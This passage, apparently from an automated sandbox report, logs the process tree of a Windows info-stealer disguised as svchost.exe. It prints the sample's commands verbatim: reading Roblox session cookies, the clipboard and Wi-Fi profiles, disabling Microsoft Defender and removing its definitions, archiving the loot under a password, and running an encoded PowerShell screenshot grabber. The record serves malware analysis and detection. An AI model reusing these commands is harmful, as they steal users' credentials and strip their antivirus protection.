IAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        28⤵
        
        PID:3804
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j4l4slmr\j4l4slmr.cmdline"
        29⤵
        
        PID:6540
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8118.tmp" "c:\Users\Admin\AppData\Local\Temp\j4l4slmr\CSCAA3A3048B114681B9BA1A5BD6F6033.TMP"
        30⤵
        
        PID:6592
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        27⤵
        
        PID:2960
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        28⤵
        
        PID:6284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        27⤵
        Executes a command shell one-liner
        
        PID:6364
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        28⤵
        
        PID:6444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        27⤵
        Executes a command shell one-liner
        
        PID:6496
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        28⤵
        
        PID:6640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        27⤵
        
        PID:6964
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        28⤵
        
        PID:7012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        27⤵
        
        PID:7028
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        28⤵
        
        PID:7084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        27⤵
        Executes a command shell one-liner
        
        PID:6204
        
        C:\Windows\system32\getmac.exe
        
        getmac
        28⤵
        
        PID:1520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        27⤵
        
        PID:6008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        27⤵
        Executes a command shell one-liner
        
        PID:5904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        28⤵
        
        PID:7044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI48722\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\4nzdv.zip" *"
        27⤵
        Executes a command shell one-liner
        
        PID:5496
        
        C:\Users\Admin\AppData\Local\Temp\_MEI48722\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI48722\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\4nzdv.zip" *
        28⤵
        
        PID:4920
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        27⤵
        Executes a command shell one-liner
        
        PID:3052
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        28⤵
        
        PID:6320
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        27⤵
        Executes a command shell one-liner
        
        PID:2280
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        28⤵
        
        PID:4568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        27⤵
        
        PID:6428
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        28⤵
        
        PID:6224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        27⤵
        Executes a command shell one-liner
        
        PID:6492
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        27⤵
        Executes a command shell one-liner
        
        PID:6788
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        28⤵
        Detects videocard installed
        
        PID:6824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        27⤵
        
        PID:2408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        28⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        24⤵
        
        PID:2760
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        25⤵
        
        PID:1812
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        23⤵
        
        PID:4240
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        24⤵
        
        PID:3280
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        22⤵
        
        PID:1284
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        23⤵
        
        PID:4908
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        21⤵
        
        PID:3364
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        22⤵
        
        PID:4600
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        20⤵
        
        PID:2348
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        21⤵
        
        PID:5768
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        19⤵
        
        PID:720
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        20⤵
        
        PID:2116
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        18⤵
        
        PID:3412
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        19⤵
        
        PID:4804
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        17⤵
        
        PID:4376
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        18⤵
        
        PID:5608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'"
        19⤵
        
        PID:1724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        19⤵
        
        PID:4892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        20⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:4908
        
        C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        20⤵
        Deletes Windows Defender Definitions
        
        PID:4296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   .scr'"
        19⤵
        
        PID:904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   .scr'
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        19⤵
        
        PID:4472
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        20⤵
        Discovers running processes
        
        PID:292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        19⤵
        
        PID:5124
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        20⤵
        Discovers running processes
        
        PID:5648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        19⤵
        Executes a command shell one-liner
        
        PID:4692
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        20⤵
        
        PID:5432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        19⤵
        Clipboard Data
        
        PID:5708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        20⤵
        Clipboard Data
        
        PID:1188
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        19⤵
        
        PID:4844
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        20⤵
        Discovers running processes
        
        PID:2976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        19⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1500
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        20⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        19⤵
        
        PID:4968
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        20⤵
        
        PID:4532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        19⤵
        
        PID:4144
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        20⤵
        Gathers system information
        
        PID:6104
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        19⤵
        
        PID:5336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        20⤵
        
        PID:2640
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jvwudsdv\jvwudsdv.cmdline"
        21⤵
        
        PID:5884
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3980.tmp" "c:\Users\Admin\AppData\Local\Temp\jvwudsdv\CSC838415CD1C0B4DAB89AA4CD06E10AE0.TMP"
        22⤵
        
        PID:5488
        
        C:\Windows\system32\cmd.exe
        
